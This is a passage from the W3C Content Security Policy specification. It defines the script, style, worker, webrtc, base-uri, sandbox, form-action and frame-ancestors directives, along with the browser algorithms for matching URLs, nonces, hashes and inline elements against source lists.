script-src-elem, and policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.12. script-src-attr
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "script-src-attr" directive-value = serialized-source-list
The script-src-attr directive applies to event handlers and, if present,
it will override the script-src directive for relevant checks.
6.1.12.1.
script-src-attr Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Assert: element is not null or type is "
navigation". -
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
script-src-attrand policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.13. style-src
The style-src directive restricts the locations from which style
may be applied to a Document. The syntax for the directive’s name and
value is described by the following ABNF:
directive-name = "style-src" directive-value = serialized-source-list
The style-src directive governs several things:
-
Style requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?. This includes:
-
Responses to style requests MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
-
Inline
styleblocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying astyle-src(ordefault-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block. -
The following CSS algorithms are gated on the
unsafe-evalsource expression:This would include, for example, all invocations of CSSOM’s various
cssTextsetters andinsertRulemethods [CSSOM] [HTML].This needs to be better explained. [w3c/webappsec-csp Issue #212]
6.1.13.1.
style-src Pre-request Check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.13.2.
style-src Post-request Check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.13.3.
style-src Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
This directive’s initialization algorithm is as follows:
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
6.1.14. style-src-elem
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "style-src-elem" directive-value = serialized-source-list
The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.
6.1.14.1.
style-src-elem Pre-request Check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-src-elemand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.14.2.
style-src-elem Post-request Check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-src-elemand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.14.3.
style-src-elem Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-src-elemand policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.1.15. style-src-attr
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "style-src-attr" directive-value = serialized-source-list
The style-src-attr directive governs the behaviour of style attributes.
6.1.15.1.
style-src-attr Inline Check
This directive’s inline check algorithm is as follows:
Given an Element element, a string type, a policy
policy and a string source:
-
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
style-src-attrand policy is "No", return "Allowed". -
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.2. Other Directives
6.2.1. webrtc
The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "webrtc" directive-value = "'allow'" / "'block'"
Given a page with the following Content Security Policy:
Content-Security-Policy: webrtc 'block'
No local ICE candidates will be surfaced, as no STUN checks will be made against the ICE server provided to the peer connection negotiated below; No connectivity-checks will be attempted to any remote candidates provided by JS; The connectionState will never transition to "connected" and instead transition directly from its initial state of "new" to "failed" shortly. Attempts to pc.restartIce() will repeat this outcome.
< script > const iceServers= [{ urls: "stun:stun.l.google.com:19302" }]; const pc= new RTCPeerConnection({ iceServers}); pc. createDataChannel( "" ); const io= new WebSocket( 'ws://example.com:8080' ); pc. onicecandidate= ({ candidate}) => io. send({ candidate}); pc. onnegotiationneeded= async () => { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); }; io. onmessage= async ({ data: { description, candidate}}) => { if ( description) { await pc. setRemoteDescription( description); if ( description. type== "offer" ) { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); } } else if ( candidate) await pc. addIceCandidate( candidate); }; </ script >
6.2.1.1.
webrtc Pre-connect Check
This directive’s webrtc pre-connect check is as follows:
-
If this directive’s value contains a single item which is an ASCII case-insensitive match for the string "
'allow'", return "Allowed". -
Return "
Blocked".
6.2.2. worker-src
The worker-src directive restricts the URLs which may be loaded as
a Worker, SharedWorker, or ServiceWorker. The syntax for the
directive’s name and value is described by the following ABNF:
directive-name = "worker-src" directive-value = serialized-source-list
Given a page with the following Content Security Policy:
: worker-src https://example.com/
Fetches for the following code will return a network errors, as the URL
provided do not match worker-src’s source list:
< script > var blockedWorker= new Worker( "data:application/javascript,..." ); blockedWorker= new SharedWorker( "https://example.org/" ); navigator. serviceWorker. register( 'https://example.org/sw.js' ); </ script >
6.2.2.1.
worker-src Pre-request Check
This directive’s pre-request check is as follows:
Given a request request, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
worker-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.2.2.2.
worker-src Post-request Check
This directive’s post-request check is as follows:
Given a request request, a response response, a policy policy, and an origin self-origin:
-
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
-
If the result of executing § 6.8.4 Should fetch directive execute on name,
worker-srcand policy is "No", return "Allowed". -
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked". -
Return "
Allowed".
6.3. Document Directives
The following directives govern the properties of a document or worker environment to which a policy applies.
6.3.1. base-uri
The base-uri directive restricts the URLs which can be used in
a Document’s base element. The syntax for the directive’s name and
value is described by the following ABNF:
directive-name = "base-uri" directive-value = serialized-source-list
The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:
6.3.1.1. Is base allowed for document?
Given a URL base, and a Document document, this algorithm
returns "Allowed" if base may be used as the value of a base
element’s href attribute, and "Blocked" otherwise:
-
Let CSP list be document’s global object’s csp list
-
For each policy of CSP list’s policies:
-
Let source list be null.
-
If a directive whose name is "
base-uri" is present in policy’s directive set, set source list to that directive’s value. -
If source list is null, skip to the next policy.
-
If the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on base, source list, CSP list’s self-origin, and
0is "Does Not Match":-
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "
base-uri". -
Set violation’s resource to "
inline". -
Execute § 5.5 Report a violation on violation.
-
If policy’s disposition is "
enforce", return "Blocked".
-
Note: We compare against the fallback base URL in order to deal correctly with things like an iframe
srcdocDocumentwhich has been sandboxed into an opaque origin. -
-
Return "
Allowed".
6.3.2. sandbox
The sandbox directive specifies an HTML sandbox policy which the
user agent will apply to a resource, just as though it had been included in
an iframe with a sandbox property.
The directive’s syntax is described by the following ABNF grammar, with
the additional requirement that each token value MUST be one of the
keywords defined by HTML specification as allowed values for the iframe
sandbox attribute [HTML].
directive-name = "sandbox" directive-value = "" / token *( required-ascii-whitespace token )
This directive has no reporting requirements; it will be ignored entirely when
delivered in a header, or within
a meta element.
6.3.2.1.
sandbox Initialization
This directive’s initialization algorithm is
responsible for checking whether a worker is allowed to run according
to the sandbox values present in its policies as follows:
Note: The sandbox directive is also responsible for adjusting a
Document’s active sandboxing flag set via the
CSP-derived sandboxing flags.
Given a Document or global object context and a policy
policy:
-
If policy’s disposition is not "
enforce", or context is not aWorkerGlobalScope, then abort this algorithm. -
Let sandboxing flag set be a new sandboxing flag set.
-
Parse a sandboxing directive using this directive’s value as the input, and sandboxing flag set as the output.
-
If sandboxing flag set contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "
Blocked".Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.
-
Return "
Allowed".
6.4. Navigation Directives
6.4.1. form-action
The form-action directive restricts the URLs which can be used
as the target of a form submissions from a given context. The directive’s syntax is
described by the following ABNF grammar:
directive-name = "form-action" directive-value = serialized-source-list
6.4.1.1.
form-action Pre-Navigation Check
Given a request request, a string navigation type
("form-submission" or "other"), a policy policy, and an
origin self-origin, this algorithm returns "Blocked" if a form
submission violates the form-action directive’s constraints, and "Allowed"
otherwise. This constitutes the form-action directive’s pre-navigation
check:
-
Assert: policy is unused in this algorithm.
-
If navigation type is "
form-submission":-
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and self-origin, is "
Does Not Match", return "Blocked".
-
-
Return "
Allowed".
6.4.2. frame-ancestors
The frame-ancestors directive restricts the URLs which can
embed the resource using frame, iframe, object, or embed. Resources
can use this directive to avoid many UI Redressing [UISECURITY] attacks, by
avoiding the risk of being embedded into potentially hostile contexts.
The directive’s syntax is described by the following ABNF grammar:
directive-name = "frame-ancestors" directive-value = ancestor-source-list ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'" ancestor-source = scheme-source / host-source / "'self'"
The frame-ancestors directive MUST be ignored when contained in a policy
declared via a meta element.
Note: The frame-ancestors directive’s syntax is similar to a source
list, but frame-ancestors will not fall back to the default-src
directive’s value if one is specified. That is, a policy that declares
default-src 'none' will still allow the resource to be embedded by anyone.
6.4.2.1.
frame-ancestors Navigation Response Check
Given a request request, a string navigation type
("form-submission" or "other"), a response navigation response, a
navigable target, a string check type ("source" or "response"),
a policy policy, and an origin
self-origin, this algorithm returns "Blocked" if one or more of the
ancestors of target violate the frame-ancestors directive delivered with
the response, and "Allowed" otherwise. This constitutes the
frame-ancestors directive’s navigation response check:
-
Assert: request, navigation response, and navigation type, are unused from this point forward in this algorithm, as
frame-ancestorsis concerned only with navigation response’s frame-ancestors directive. -
If check type is "
source", return "Allowed".Note: The 'frame-ancestors' directive is relevant only to the target navigable and it has no impact on the request’s context.
-
If target is not a child navigable, return "
Allowed". -
Let current be target.
-
While current is a child navigable:
-
Let document be current’s container document.
-
Let origin be the result of executing the URL parser on the ASCII serialization of document’s origin.
-
If § 6.7.2.7 Does url match source list in origin with redirect count? returns
Does Not Matchwhen executed upon origin, this directive’s value, self-origin, and0, return "Blocked". -
Set current to document’s node navigable.
-
-
Return "
Allowed".
This directive is similar to the ``` HTTP
response header. The X-Frame-Options`'none' source expression is roughly equivalent to that
header’s `DENY`, and 'self' to that header’s `SAMEORIGIN`. [HTML]
In order to allow backwards-compatible deployment, the
frame-ancestors directive overrides the
``` header. If a resource is delivered with
a policy that includes a directive named
X-Frame-Options`frame-ancestors and whose disposition is
"enforce", then the ``` header will be
ignored, per HTML’s processing model.X-Frame-Options`
6.5. Reporting Directives
Various algorithms in this document hook into the reporting process by constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive, and passing that object to § 5.5 Report a violation to deliver the report.
6.5.1. report-uri
Note: The
report-uridirective is deprecated. Please use the
report-todirective instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
The report-uri directive defines a set of endpoints to which
csp violation reports will be sent when particular behaviors are prevented.
directive-name = "report-uri" directive-value = uri-reference *( required-ascii-whitespace uri-reference ) ; The uri-reference grammar is defined in Section 4.1 of RFC 3986.
The directive has no effect in and of itself, but only gains meaning in combination with other directives.
6.5.2. report-to
The report-to directive defines a reporting
endpoint to which violation reports ought to be sent [REPORTING]. The
directive’s behavior is defined in § 5.5 Report a violation. The directive’s name
and value are described by the following ABNF:
directive-name = "report-to" directive-value = token
6.6. Directives Defined in Other Documents
This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:
Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.
New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.
6.7. Matching Algorithms
6.7.1. Script directive checks
6.7.1.1. Script directives pre-request check
Given a request request, a directive directive, a policy policy, and an origin self-origin:
-
If request’s destination is script-like:
-
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "
Matches", return "Allowed". -
If directive’s value contains a source expression that is an ASCII case-insensitive match for the "
'strict-dynamic'" keyword-source:-
If the request’s parser metadata is "parser-inserted", return "
Blocked".Otherwise, return "
Allowed".Note: "
'strict-dynamic'" is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
-
-
If the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and self-origin, is "
Does Not Match", return "Blocked".
-
-
Return "
Allowed".
6.7.1.2. Script directives post-request check
This directive’s post-request check is as follows:
Given a request request, a response response, a directive directive, a policy policy, and an origin self-origin:
Note: This check needs both request and response as input parameters since if request’s cryptographic nonce metadata or integrity metadata matches, then the script is allowed to load and the check of whether response’s url matches the source list is skipped.
-
If request’s destination is script-like:
-
Call potentially report hash with response, request, directive and policy.
-
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "
Matches", return "Allowed". -
If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "
Matches", return "Allowed". -
If directive’s value contains a source expression that is an ASCII case-insensitive match for the "
'strict-dynamic'" keyword-source:-
If the request’s parser metadata is "parser-inserted", return "
Blocked".Otherwise, return "
Allowed".Note: "
'strict-dynamic'" is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
-
-
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, directive’s value, and self-origin, is "
Does Not Match", return "Blocked".
-
-
Return "
Allowed".
6.7.2. URL Matching
6.7.2.1. Does request violate policy?
Given a request request, a policy policy,
and an origin self-origin, this algorithm returns the violated
directive if the request violates the policy, and "Does Not Violate"
otherwise.
-
If request’s initiator is "
prefetch", then return the result of executing § 6.7.2.2 Does resource hint request violate policy? on request, policy, and self-origin. -
Let violates be "
Does Not Violate". -
For each directive of policy:
-
Let result be the result of executing directive’s pre-request check on request, policy, and self-origin.
-
If result is "
Blocked", then let violates be directive.
-
-
Return violates.
6.7.2.2. Does resource hint request violate policy?
Given a request request,a policy policy, and
an origin self-origin, this algorithm returns the default
directive if the resource-hint request violates all the policies, and
"Does Not Violate" otherwise.
-
Let defaultDirective be policy’s first directive whose name is "
default-src". -
If defaultDirective does not exist, return "
Does Not Violate". -
For each directive of policy:
-
If directive’s name is not one of the following:
-
child-src -
connect-src -
font-src -
frame-src -
img-src -
manifest-src -
media-src -
object-src -
script-src -
script-src-elem -
style-src -
style-src-elem -
worker-src
then continue.
-
-
Assert: directive’s value is a source list.
-
Let result be the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and self-origin.
-
If result is "
Allowed", then return "Does Not Violate".
-
-
Return defaultDirective.
6.7.2.3. Does nonce match source list?
Given a request’s cryptographic nonce metadata
nonce and a source list source list, this algorithm returns
"Matches" if the nonce matches one or more source expressions in the list,
and "Does Not Match" otherwise:
-
Assert: source list is not null.
-
If nonce is the empty string, return "
Does Not Match". -
For each expression of source list:
-
If expression matches the
nonce-sourcegrammar, and nonce is identical to expression’sbase64-valuepart, return "Matches".
-
-
Return "
Does Not Match".
Given a request’s integrity metadata
integrity metadata and a source list source list, this algorithm
returns "Matches" if the integrity metadata matches one or more source
expressions in the list, and "Does Not Match" otherwise:
-
Assert: source list is not null.
-
Let integrity expressions be the set of source expressions in source list that match the hash-source grammar.
-
If integrity expressions is empty, return "
Does Not Match". -
Let integrity sources be the result of parsing metadata given integrity metadata. [SRI]
-
If integrity sources is "
no metadata" or an empty set, return "Does Not Match". -
For each source of integrity sources:
-
If integrity expressions does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for source’s hash-algorithm, and whose base64-value is identical to source’s
base64-value, return "Does Not Match".
-
-
Return "
Matches".
Note: Here, we verify only whether the integrity metadata is a non-empty subset of the hash-source sources in source list. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.
6.7.2.5. Does request match source list?
Given a request request, a source list source list, and an origin self-origin, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on request’s current url, source list, self-origin, and request’s redirect count.
Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.
6.7.2.6. Does response to request match source list?
Given a response response, a request request, a source list source list, and an origin self-origin, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on response’s url, source list, self-origin, and request’s redirect count.
Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.
6.7.2.7. Does url match source list in origin with redirect count?
Given a URL url, a source list source list, an
origin origin, and a number redirect count, this
algorithm returns "Matches" if the URL matches one or more source
expressions in source list, or "Does Not Match" otherwise:
-
Assert: source list is not null.
-
If source list is empty, return "
Does Not Match". -
If source list’s size is 1, and source list[0] is an ASCII case-insensitive match for the string "
'none'", return "Does Not Match".Note: An empty source list (that is, a directive without a value:
script-src, as opposed toscript-src host1) is equivalent to a source list containing'none', and will not match any URL.Note: The
'none'keyword has no effect when other source expressions are present. That is, the list «'none'» does not match any URL. A list consisting of «'none',https://example.com», on the other hand, would matchhttps://example.com/. -
For each expression of source list:
-
If § 6.7.2.8 Does url match expression in origin with redirect count? returns "
Matches" when executed upon url, expression, origin, and redirect count, return "Matches".
-
-
Return "
Does Not Match".
6.7.2.8. Does url match expression in origin with redirect count?
Given a URL url, a source expression expression, an
origin origin, and a number redirect count, this algorithm
returns "Matches" if url matches expression, and "Does Not Match"
otherwise.
Note: origin is the origin of the resource relative to which the
expression should be resolved. "'self'", for instance, will have distinct
meaning depending on that bit of context.
-
If expression is the string "*", return "
Matches" if one or more of the following conditions is met:-
url’s scheme is an HTTP(S) scheme.
Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g.
default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme. -
-
If expression matches the
scheme-sourceorhost-sourcegrammar:-
If expression has a
scheme-part, and it does notscheme-partmatch url’s scheme, return "Does Not Match". -
If expression matches the
scheme-sourcegrammar, return "Matches".
-
-
If expression matches the
host-sourcegrammar:-
If url’s
hostis null, return "Does Not Match". -
If expression does not have a
scheme-part, and origin’s scheme does notscheme-partmatch url’s scheme, return "Does Not Match".Note: As with
scheme-partabove, we allow schemelesshost-sourceexpressions to be upgraded from insecure schemes to secure schemes. -
If expression’s
host-partdoes nothost-partmatch url’shost, return "Does Not Match". -
Let port-part be expression’s
port-partif present, and null otherwise. -
If port-part does not
port-partmatch url, return "Does Not Match". -
If expression contains a non-empty
path-part, and redirect count is 0, then:-
Let path be the result of running the URL path serializer on url.
-
If expression’s
path-partdoes notpath-partmatch path, return "Does Not Match".
-
-
Return "
Matches".
-
-
If expression is an ASCII case-insensitive match for "
'self'", return "Matches" if one or more of the following conditions is met:-
origin is the same as url’s origin
-
origin’s
hostis the same as url’shost, origin’sportand url’sportare either the same or the default ports for their respective schemes, and one or more of the following conditions is met:
Note: Like the
scheme-partlogic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed. -
-
Return "
Does Not Match".
6.7.2.9.
scheme-part matching
An ASCII string scheme-part matches another
ASCII string if a CSP source expression that contained the first as a
scheme-part could potentially match a URL containing the latter as a
scheme. For example, we say that "http" scheme-part matches "https".
Note: The matching relation is asymmetric. For example, the source expressions https: and
https://example.com/ do not match the URL http://example.com/. We always allow a
secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent
to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.
More formally, two ASCII strings A and B are said to scheme-part match if the
following algorithm returns "Matches":
-
If one of the following is true, return "
Matches":-
A is an ASCII case-insensitive match for B.
-
A is an ASCII case-insensitive match for "
http", and B is an ASCII case-insensitive match for "https". -
A is an ASCII case-insensitive match for "
ws", and B is an ASCII case-insensitive match for "wss", "http", or "https". -
A is an ASCII case-insensitive match for "
wss", and B is an ASCII case-insensitive match for "https".
-
-
Return "
Does Not Match".
6.7.2.10.
host-part matching
An ASCII string host-part matches a host
if a CSP source expression that contained the first as a host-part could
potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com".
More formally, ASCII string pattern and host host are said to host-part match if the
following algorithm returns "Matches":
Note: The matching relation is asymmetric. That is, pattern matching host does not
mean that host will match pattern. For example, *.example.com host-part matches
www.example.com, but www.example.com does not host-part match *.example.com.
Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
-
If host is not a domain, return "
Does Not Match". -
If pattern is "
*", return "Matches". -
If pattern starts with "
*.":-
Let remaining be pattern with the leading U+002A (
*) removed and ASCII lowercased. -
If host to ASCII lowercase ends with remaining, then return "
Matches". -
Return "
Does Not Match".
-
-
If pattern is not an ASCII case-insensitive match for host, return "
Does Not Match". -
Return "
Matches".
6.7.2.11.
port-part matching
An ASCII string or null input port-part matches
URL url if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter’s
port and scheme. For example, "80" port-part matches
matches http://example.com.
-
Assert: input is null, "*", or a sequence of one or more ASCII digits.
-
If input is equal to "*", return "
Matches". -
Let normalizedInput be null if input null; otherwise input interpreted as decimal number.
-
If normalizedInput equals url’s port, return "
Matches". -
If url’s port is null:
-
Let defaultPort be the default port for url’s scheme.
-
If normalizedInput equals defaultPort, return "
Matches".
-
-
Return "
Does Not Match".
6.7.2.12.
path-part matching
An ASCII string path A path-part matches
another ASCII string path B if a CSP source expression that contained the first as a
path-part could potentially match a URL containing the latter as a path.
For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".
Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.
-
If path A is the empty string, return "
Matches". -
If path A consists of one character that is equal to the U+002F SOLIDUS character (
/) and path B is the empty string, return "Matches". -
Let exact match be
falseif the final character of path A is the U+002F SOLIDUS character (/), andtrueotherwise. -
Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (
/). -
If path list A has more items than path list B, return "
Does Not Match". -
If exact match is
true, and path list A does not have the same number of items as path list B, return "Does Not Match". -
If exact match is
false:-
Assert: the final item in path list A is the empty string.
-
Remove the final item from path list A.
-
-
For each piece A of path list A:
-
Let piece B be the next item in path list B.
-
Let decoded piece A be the percent-decoding of piece A.
-
Let decoded piece B be the percent-decoding of piece B.
-
If decoded piece A is not decoded piece B, return "
Does Not Match".
-
-
Return "
Matches".
6.7.3. Element Matching Algorithms
6.7.3.1. Is element nonceable?
Given an Element element, this algorithm returns "Nonceable" if
a nonce-source expression can match the element (as discussed
in § 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions
should not be applied.
-
If element does not have an attribute named "
nonce", return "Not Nonceable". -
If element is a
scriptelement, then for each attribute of element’s attribute list:-
If attribute’s name contains an ASCII case-insensitive match for "
<script" or "<style", return "Not Nonceable". -
If attribute’s value contains an ASCII case-insensitive match for "
<script" or "<style", return "Not Nonceable".
-
-
If element had a duplicate-attribute parse error during tokenization, return "
Not Nonceable".We need some sort of hook in HTML to record this error if we’re planning on using it here. [whatwg/html Issue #3257]
-
Return "
Nonceable".
This processing is meant to mitigate the risk
of dangling markup attacks that steal the nonce from an existing element
in order to load injected script. It is fairly expensive, however, as it
requires that we walk through all attributes and their values in order to
determine whether the script should execute. Here, we try to minimize the
impact by doing this check only for script elements when a nonce is
present, but we should probably consider this algorithm as "at risk" until
we know its impact. [w3c/webappsec-csp Issue #98]
6.7.3.2. Does a source list allow all inline behavior for type?
A source list
allows all inline behavior
of a given type if it contains the keyword-source
expression 'unsafe-inline', and does not override that
expression as described in the following algorithm:
Given a source list list and a string type, the following
algorithm returns "Allows" if all inline content of a given type is
allowed and "Does Not Allow" otherwise.
-
Let allow all inline be
false. -
For each expression of list:
-
If expression matches the
nonce-sourceorhash-sourcegrammar, return "Does Not Allow". -
If type is "
script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".Note:
'strict-dynamic'only applies to scripts, not other resource types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'". -
If expression is an ASCII case-insensitive match for the
keyword-source"'unsafe-inline'", set allow all inline totrue.
-
-
If allow all inline is
true, return "Allows". Otherwise, return "Does Not Allow".
6.7.3.3. Does element match source list for type and source?
Given an Element element, a source list list, a string
type, and a string source, this algorithm returns "Matches" or
"Does Not Match".
Note: Regardless of the encoding of the document, source will be converted
to UTF-8 before applying any hashing algorithms.
-
If § 6.7.3.2 Does a source list allow all inline behavior for type? returns "
Allows" given list and type, return "Matches". -
If type is "
script" or "style", and § 6.7.3.1 Is element nonceable? returns "Nonceable" when executed upon element:-
For each expression of list:
-
If expression matches the
nonce-sourcegrammar, and element has anonceattribute whose value is expression’sbase64-valuepart, return "Matches".
-
Note: Nonces only apply to inline
scriptand inlinestyle, not to attributes of either element or tojavascript:navigations. -
-
Let unsafe-hashes flag be
false. -
For each expression of list:
-
If expression is an ASCII case-insensitive match for the
keyword-source"'unsafe-hashes'", set unsafe-hashes flag totrue. Break out of the loop.
-
-
If type is "
script" or "style", or unsafe-hashes flag istrue:-
Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.
-
For each expression of list:
-
If expression is the "
'strict-dynamic'" keyword-source:-
If type is "
script", and element is not parser-inserted, return "Matches".
-
-
If expression matches the
hash-sourcegrammar:-
Let algorithm be null.
-
If expression’s
hash-algorithmpart is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256. -
If expression’s
hash-algorithmpart is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384. -
If expression’s
hash-algorithmpart is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512. -
If algorithm is not null:
-
Let actual be the result of base64 encoding the result of applying algorithm to source.
-
Let expected be expression’s
base64-valuepart, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.
-
If actual is identical to expected, return "
Matches".
-
-
-
Note: Hashes apply to inline
scriptand inlinestyle. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes andjavascript:navigations. -
-
Return "
Does Not Match".
6.8. Directive Algorithms
6.8.1. Get the effective directive for request
Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the request’s effective directive:
-
If request’s initiator is "
prefetch" or "prerender", returndefault-src. -
Switch on request’s destination, and execute the associated steps:
- the empty string
-
-
Return
connect-src.
-
- "
manifest" -
-
Return
manifest-src.
-
- "
object"- "
embed" - "
-
-
Return
object-src.
-
- "
frame"- "
iframe" - "
-
-
Return
frame-src.
-
- "
audio"- "
track"- "
video" - "
-
-
Return
media-src.
-
- "
font" -
-
Return
font-src.
-
- "
image" -
-
